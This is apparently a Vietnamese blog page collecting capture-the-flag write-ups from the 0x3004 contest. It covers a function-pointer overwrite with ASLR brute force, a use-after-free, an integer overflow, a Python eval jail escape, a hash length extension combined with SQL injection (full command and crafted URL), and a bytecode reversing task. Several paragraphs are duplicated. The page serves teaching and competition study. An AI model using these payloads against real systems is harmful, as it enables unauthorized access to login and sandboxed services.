<Dù phức tạp chưa hiểu nhưng khi cần sẽ có mà tham khảo>
[WRITE-UP] – 0×3004 : PWN3
Về cơ bản thì bài PWN3 này giống bài PWN2 , tuy nhiên nhìn vậy chứ phức tạp hơn
Bước đầu cực kỳ quan trọng phân tích lại cái binary đã xem nó có khác gì dặc biệt không .
Hàm ix
Hàm này có một nhút thay đổi , bộ nhớ cấp phát 24 bytes và địa chỉ hàm show được chép vào offset tứ 20
Hàm show
Chỉ đơn giản là in 4 bytes đầu của buffer ra ngoài.
Hàm main
Ở đây mình có 2 cơ hội để overwrite lại call eax, với PWN3 mình không quan tâm đến size nữa chỉ quan tâm đến input làm sao để overwrite địa chỉ của hàm show thôi
Code được viết đơn giản lại như này
Vấn đề chỉ đơn giản vậy thôi , input 20 ký tự bất kỳ, 4 ký tự cuối là hàm để trỏ về . Bên cạnh đó, để ý hàm call qua function pointer sẽ nhận đối số chính là buffer luôn (24 bytes) , có một điều đặc biệt là chuỗi “cat /home/pwn3/flag\n” vừa đủ 20 bytes input, nên mình cũng không phải lo đối số cho hàm system
- Payload : ‘cat /home/pwn3/flag\n’ + địa chỉ hàm system
Tuy nhiên có một chút khó khăn ở đây, không như bài trước có hàmkey sẵn mình sẽ return về hàm system trong libc, tuy nhiên server bật ASLR ( cái này thì nhờ mọi người google dùm ), đại khai là random địa chỉ của vùng nhứ mỗi lần chạy chương trình, nên rất khó để lấy được địa chỉ thực sự của hàm system.
Tuy nhiên làm một vài thao tác nữa mình nhận thấy như vầy
Tuy nhiên làm một vài thao tác nữa mình nhận thấy như vầy
Địa chỉ libc được map fix ở byte 0xf7XXXXXXX , và byte kế tiếp có thể từ 50 -> 6f (nếu may mắn)
Bên cạnh đó có một điều đặc biệt sau, 12 bit cuối cũng fix luôn, và khoảng cách từ địa chỉ hàm system đến địa chỉ map của libc luôn fix (các giá trị này tuỳ vào phiên bản của libc , ở đây server chạy ubuntu 14.04 nên có các giá trị như bên dưới).
Bên cạnh đó có một điều đặc biệt sau, 12 bit cuối cũng fix luôn, và khoảng cách từ địa chỉ hàm system đến địa chỉ map của libc luôn fix (các giá trị này tuỳ vào phiên bản của libc , ở đây server chạy ubuntu 14.04 nên có các giá trị như bên dưới).
Vây tổng kết lại mình có như sau :
- Địa chỉ các hàm trong libc sẽ fix : 0xf7XXXf10 => bruteforce 12 bits (Cách 1)
- Địa chỉ map của libc , mình sẽ fix ở đây 0xf7500000 – 0xf76ff000=> giá trị này sẽ bruteforce 12 bits, địa chỉ của hàm system sẽ lấy giá trị bruteforce + 0x3ff10 (Cách 2)
Code exploit :
Qúa trình bruteforce khá nhanh và mình đã có Flag.
[WRITE-UP] – 0×3004 CTF : PWN2
Ok, tải file pwn2 về (file ELF 64 bits) và run nó trên gdb , và bắt đầu phân tích
Đầu tiên xem thằng main cái đã
Nhìn sơ qua, cảm tính đã mách bảo mình là sẽ overwite được rdx và thực hiện call rdx (function pointer).
Xem tiếp hàm ix
Hàm này nhận đối số đầu vào là 0x1e , cấp phát vùng nhớ, rồi thực hiện một loạt các phép gán, để ý line 48 , copy địa chỉ 0x40064d (đây là địa chỉ hàm show) vào vị tri thứ 8 bắt đầu từ vùng nhớ, ok để đơn giản hoá vấn đề, mình có đoạn code viết lại như sau
Xem tiếp hàm show
Hàm này cũng không có gì phức tạp đơn giản chỉ in dòng “show…” ra màn hình.
Hàm này cũng không có gì phức tạp đơn giản chỉ in dòng “show…” ra màn hình.
Ngoài ra tác giả còn cấp cho mình một hàm key
Chỉ đơn giản cấp cho mình cái shell để return về và read flag ( system(“/bin/sh”) )
Quay trở lại hàm main, mình tóm tắt ngắn ngọn bằng đoạn code như sau
Ok, fuzz cái đã, mình test trước với input là 1000, cấp phát vùng nhớ 0×30303031 phần tử xem như lào.
Đầu tiên set bp ở phần trả về địa chỉ được cấp phát bởi ix
Để ý địa chỉ 0×602010 nhé
Đây là vùng nhớ được cấp phát từ ix , chính xác những gì mình đã mô tả ở trên.
Tiếp tục trace đến phần đọc size để cấp phát lại vùng nhớ này, ở đây mình fuzz với input 1000.
Địa chỉ vùng nhớ trả về là một vùng nhớ khác, khác với vùng nhớ được ix cấp phát bởi ix nên không thể nào overwrite được rdx.
Để ý đền hàm free đã đề cập ở trên, cái này liên quan đến một thứ gọi là Use After Free .
Về bản chất hàm free, không xoá hết vùng nhớ đó (set về 0), mà trả nó về HĐH để HĐH cấp phát cho một chương trình khác, ok vậy mấu chốt là ở size, nếu size nhập vào quá lớn thì, buf trả về là một vùng nhớ khác, tuy nhiên nếu size có kích cỡ vừa phải hoạc nhỏ, nếu may mắn HĐH sẽ cấp lại vùng nhớ vừa bị free hồi nãy
Đầu tiên set bp ở phần trả về địa chỉ được cấp phát bởi ix
Để ý địa chỉ 0×602010 nhé
Đây là vùng nhớ được cấp phát từ ix , chính xác những gì mình đã mô tả ở trên.
Tiếp tục trace đến phần đọc size để cấp phát lại vùng nhớ này, ở đây mình fuzz với input 1000.
Địa chỉ vùng nhớ trả về là một vùng nhớ khác, khác với vùng nhớ được ix cấp phát bởi ix nên không thể nào overwrite được rdx.
Để ý đền hàm free đã đề cập ở trên, cái này liên quan đến một thứ gọi là Use After Free .
Về bản chất hàm free, không xoá hết vùng nhớ đó (set về 0), mà trả nó về HĐH để HĐH cấp phát cho một chương trình khác, ok vậy mấu chốt là ở size, nếu size nhập vào quá lớn thì, buf trả về là một vùng nhớ khác, tuy nhiên nếu size có kích cỡ vừa phải hoạc nhỏ, nếu may mắn HĐH sẽ cấp lại vùng nhớ vừa bị free hồi nãy
Input với 1 , size = 0xa31
Đúng như dự đoán, HĐH đã cấp lại phần bộ nhớ đã free hồi nãy, việc còn lại là dùng hàm read thứ 2 để overwrite nó thôi
Payload : <8 bytes><key address>
Do server đã đóng nên mình tạp chạy localhost vây (coi như đã input payload như trên )
Sau khi input như trên mình sẽ có được như vầy.
Nhấn c là mình đã pwn được
Code:
[WRITE-UP] 0×3004 CTF – PWN 150 : OANTUXI
Đây là một bài PWN khá thú vi
Trước khi đi sâu phân tích, mình bắt đâu fuzz 1 phát coi nó là cái gì đã
OK, Dore-Chan đòi chơi tù xì với chúng mình, có 3 options, chọn thử 3 cái luôn coi nó như thế nào
Chon thử option 2:
Win và được cộng 50 điểm , fuzz tiếp với option bao.
Kết Luận : Dore-Chan luôn luôn ra búa. Có 3 khả năng sảy ra như sau :
- 1 : ra búa -> hoà không cộng/trừ
- 2: ra bao -> thắng Dore-Chan bị trừ 50 điểm
- 3: ra kéo -> thua Dore-Chan được cộng 50 điểm
Bên cạnh đó BTC cho mình một file so (file thư viện liên kết động trên Linux) , sau một hồi phân tích thì mình thấy file này được code bằng Cpython, convert ra file C và compile nên không thể nào decompile như pyc được, nên quyết định bật IDA lên và phân tích
Sau một một phân tích một đống code như thế này mình có một phát hiện sau:
Biến score , điểm hiện tại của Dore-Chan có kiểu signed int16 (kiểu này lưu được 2**16 – 1 số có dấu và không dấu ) -> đây là mấu chốt của vấn đề đây
Phân tích tiếp mình có được như sau:
Đi vào line 1770 ta thấy như sau :
Nếu mà điểm của Dore-Chan <= 1337 thì sẽ call hàm _pyx_n_s__get_flag
Túm lại mình có đoạn code ngắn ngon sau đâu
Túm lại mình có đoạn code ngắn ngon sau đâu
Ở đây thì mĩnh nghĩ ngay đến 1 thứ gọi là Integer Overflow , và nó là cái gì thì nhờ các bạn đọc google dùm.
Vậy mình sẽ chọn option 3 (để Dore-Chan thắng) và môt lúc nào đó kiểu int16 2 sẽ bị tràn :D
Đây là script exploit
Vậy mình sẽ chọn option 3 (để Dore-Chan thắng) và môt lúc nào đó kiểu int16 2 sẽ bị tràn :D
Đây là script exploit
Và đây là kết quả
[VIẾT LẠI] 0×3004 CTF PWN300 : PRISON BREAK S02
Mở đâu :
- Do có một chút trục trặc nên mình không thi cho team UNS kỳ này,
- Đổi lại đây là lần đầu tiên mình compat với thím yeuchimse
- OK, không vòng vo nữa vào vấn đề phát
Prison Break s02
Code chall khá ngắn như khá là khoai
Đánh giá sơ bộ: INPUT nhận vào mỗi chuỗi str nhận các ký tự thường, [], và () và INPUT này sẽ được eval(), tức là mình sẽ dùng những hàm builtin của python để bypass cái này.
Ý tưởng : thật ra trong lúc làm bài nãy mình nghĩ ngay đến cách set LEN_PASS về 1 và đồng thời set INPUT = [ 1 char nào đó ] , ok từ đó có thể bypass qua 3 vòng kiểm tra của code, còn ký tự đó chỉ cần bf từ 31 -> 127. Tuy nhiên mình đã không thành công trong việc biến ý tưởng của mình thành hiện thực
Mấu chốt chính của vấn đề nằm ở 3 hàm builtin của python làvars(),globals(),locals(), nó thưc hiện thế nào thì nhờ các thím chịu khó google dùm. Nhưng với bài này thì 3 cái này trả về 1 kết quả như nhau đó là một cái dict lưu tên, giá trị các biến
Ở đây mình chọn vars() vì nó có số ký tự ngắn nhất , vì input max length có 50 chars thôi
Ok, Payload : [chr(79)for(vars()[list(vars())[0]])in[1]]
Để ý nhé list(var()) : ép kiểu của dict về list ta sẽ có như sao :D
Ok output là các giá trị key của dict, từ đây mình dễ dàng access vào value của LEN_PASS, vars()[list(vars())[0]] ( nên nhớ khi access vào dict thì bạn sẽ access pointer trỏ đến vùng chứa giá trị của LEN_PASS )
Vấn đề mấu chốt tiếp theo là câu lệnh for, python cho phép viết lệnh for dươi dạng sau [i for i in xrange(1)], tuy nhiên INPUT filter dấu space nên mình có thể viết ngắn lại như sau [int(i)for(i)in[1]] .
Vấn đề mấu chốt tiếp theo là câu lệnh for, python cho phép viết lệnh for dươi dạng sau [i for i in xrange(1)], tuy nhiên INPUT filter dấu space nên mình có thể viết ngắn lại như sau [int(i)for(i)in[1]] .
Đây là cách overwrite cái LEN_PASS hay nhứt , lại một công đôi việc set INPUT bằng mảng có 1 phần tử.
Việc còn lại chỉ là bruteforce các ký tự từ 31 đến 127 khá là nhanh và đã đã vượt ngục thành công
CTF 0x3004 | CryptoWWW
Mở source file index.php lên thấy được sha1(SECRET.$username.$password) liên tưởng đến hash length extension attack . dùng tool hash extenderhttps://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
Cách sử dụng :
./hash_extender --data ad --secret 6 --append "a' or username='admin' ;-- " --signature aa4bf6af244326aacfe262b729ecf10bdd54d823 --format sha1 --out-data-format=html
Ra được kết quả :
ad%80%40a%27+or+username%3d%27admin%27+%3b%2d%2d++
sau đó inject url như sau:
http://challenges.wargame.vn/200-cryptowww_76778cd364f076d2a875071a9b7a559a/?user=a&pass=d&HASH=c081c4ee58f68f0ff9991a3b2f48c978f3116791%26user%3Dad%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%25b0a%26pass%3D%2527%2Bor%2Busername%253d%2527admin%2527%2B%253b%252d%252d%2B%2B
Hash=<new_hash>&user=<new_string_generate_from_hash_extender>&pass=<inject_code>
Encode nội dung hash de bypass qua :
$API_URL = sprintf('http://localhost/200-cryptoftw_76778cd364f076d2a875071a9b7a559a/api.php?user=%s&pass=%s&HASH=%s',$username,$password,$HASH);
Flag tìm được là: 0x3004{www_mix_crypto_ftw}
Cách sử dụng :
./hash_extender --data ad --secret 6 --append "a' or username='admin' ;-- " --signature aa4bf6af244326aacfe262b729ecf10bdd54d823 --format sha1 --out-data-format=html
Ra được kết quả :
ad%80%40a%27+or+username%3d%27admin%27+%3b%2d%2d++
sau đó inject url như sau:
http://challenges.wargame.vn/200-cryptowww_76778cd364f076d2a875071a9b7a559a/?user=a&pass=d&HASH=c081c4ee58f68f0ff9991a3b2f48c978f3116791%26user%3Dad%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%25b0a%26pass%3D%2527%2Bor%2Busername%253d%2527admin%2527%2B%253b%252d%252d%2B%2B
Hash=<new_hash>&user=<new_string_generate_from_hash_extender>&pass=<inject_code>
Encode nội dung hash de bypass qua :
$API_URL = sprintf('http://localhost/200-cryptoftw_76778cd364f076d2a875071a9b7a559a/api.php?user=%s&pass=%s&HASH=%s',$username,$password,$HASH);
Flag tìm được là: 0x3004{www_mix_crypto_ftw}
CTF 0x3004 | Writeup RE100: Pydis
Python 2.7.4 (default, Sep 26 2013, 03:20:26)
[GCC 4.7.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import dis
>>> def check_password(part1,part2):
...
...
snip
...
...
>>> dis.dis(check_password)
16 0 LOAD_CONST 1 (12313)
3 LOAD_CONST 2 (12304)
6 LOAD_CONST 1 (12313)
9 LOAD_CONST 3 (12294)
12 LOAD_CONST 4 (12342)
15 LOAD_CONST 5 (12351)
18 LOAD_CONST 6 (12297)
21 LOAD_CONST 7 (12318)
24 LOAD_CONST 8 (12328)
27 LOAD_CONST 9 (12338)
30 LOAD_CONST 10 (12288)
33 LOAD_CONST 1 (12313)
36 LOAD_CONST 11 (12315)
39 LOAD_CONST 1 (12313)
42 LOAD_CONST 12 (12290)
45 LOAD_CONST 13 (12335)
48 LOAD_CONST 14 (12317)
51 LOAD_CONST 15 (12334)
54 LOAD_CONST 16 (12380)
57 LOAD_CONST 17 (12407)
60 LOAD_CONST 18 (12350)
63 BUILD_LIST 21
66 STORE_FAST 2 (PASS_ENCODED)
18 69 LOAD_GLOBAL 0 (len)
72 LOAD_FAST 1 (part2)
75 CALL_FUNCTION 1
78 LOAD_GLOBAL 0 (len)
81 LOAD_FAST 2 (PASS_ENCODED)
84 CALL_FUNCTION 1
87 COMPARE_OP 0 (<)
90 POP_JUMP_IF_FALSE 97
19 93 LOAD_CONST 19 ('Wrong :(')
96 RETURN_VALUE
21 >> 97 SETUP_LOOP 91 (to 191)
100 LOAD_GLOBAL 1 (range)
103 LOAD_GLOBAL 0 (len)
106 LOAD_FAST 2 (PASS_ENCODED)
109 CALL_FUNCTION 1
112 LOAD_CONST 20 (1)
115 BINARY_SUBTRACT
116 CALL_FUNCTION 1
119 GET_ITER
>> 120 FOR_ITER 67 (to 190)
123 STORE_FAST 3 (i)
22 126 LOAD_FAST 2 (PASS_ENCODED)
129 LOAD_FAST 3 (i)
132 BINARY_SUBSCR
133 LOAD_GLOBAL 2 (int)
136 LOAD_FAST 0 (part1)
139 LOAD_CONST 21 (16)
142 CALL_FUNCTION 2
145 BINARY_XOR
146 LOAD_GLOBAL 3 (ord)
149 LOAD_FAST 1 (part2)
152 LOAD_FAST 3 (i)
155 BINARY_SUBSCR
156 CALL_FUNCTION 1
159 LOAD_GLOBAL 3 (ord)
162 LOAD_FAST 1 (part2)
165 LOAD_FAST 3 (i)
168 LOAD_CONST 20 (1)
171 BINARY_ADD
172 BINARY_SUBSCR
173 CALL_FUNCTION 1
176 BINARY_XOR
177 COMPARE_OP 3 (!=)
180 POP_JUMP_IF_FALSE 120
23 183 LOAD_CONST 19 ('Wrong :(')
186 RETURN_VALUE
187 JUMP_ABSOLUTE 120
>> 190 POP_BLOCK
24 >> 191 LOAD_CONST 22 ('Password is correct!')
194 RETURN_VALUE
Từ đoạn trên, mình có thể đoán ra được rằng function check_password đã được pydis disassemble nó ra đoạn dưới
Cách reverse từ pydis bạn có thể tham khảo ở: https://docs.python.org/2/library/dis.html
Mình reverse được đoạn mã sau (gần đúng thôi nhé):
import disĐúng theo format của flag là 0x3004{XXXXXXXXXXXXXXXXXXXXX}
def check_password(part1,part2):
PASS_ENCODED = [12313,12304,12313,12294,12342,12351,12297,12318,12328,12338,12288,12313,12315,12313,12290,12335,12317,12334,12380,12407,12350]
if (len(part2) < len(PASS_ENCODED)):
print 'Wrong :('
else:
for i in range(len(PASS_ENCODED)-1):
if (PASS_ENCODED[i] ^ int('0',16) != (ord(part2[i]) ^ (ord(part2[i+1]) ))):
print 'Wrong :('
return
print 'Password is correct!'
return
dis.dis(check_password)
ta có thể tính được ra các kí tự tiếp theo bằng cách
part2[i+1] = shr(PASS_ENCODED[i] ^ int('0',16) ^ (ord(part2[i]))
part 1 có thể là 0x3004 và kí tự thứ 1 của phần sau là '{'
Áp dụng vào công thức trên:
>>> chr(12313 ^ int('0x3004',16) ^ ord('{'))
'f'
Ta có thể làm tiếp như vậy
nhưng ta có thể khiến nó tự động hóa nhả flag ^_^
import sysC:\Users\Phuongnamsoft>E:\CTF\0x3004\pyd.py
def check_password(part1,part2):
PASS_ENCODED = [12313,12304,12313,12294,12342,12351,12297,12318,12328,12338,12288,12313,12315,12313,12290,12335,12317,12334,12380,12407,12350]
p2len=0
for i in range(len(PASS_ENCODED)):
part2+=chr(ord(part2[p2len])^int(part1,16)^PASS_ENCODED[i])
p2len+=1
print part1+part2
check_password("0x3004","{")
0x3004{from_dis_import_Fl4G}
Không có nhận xét nào:
Đăng nhận xét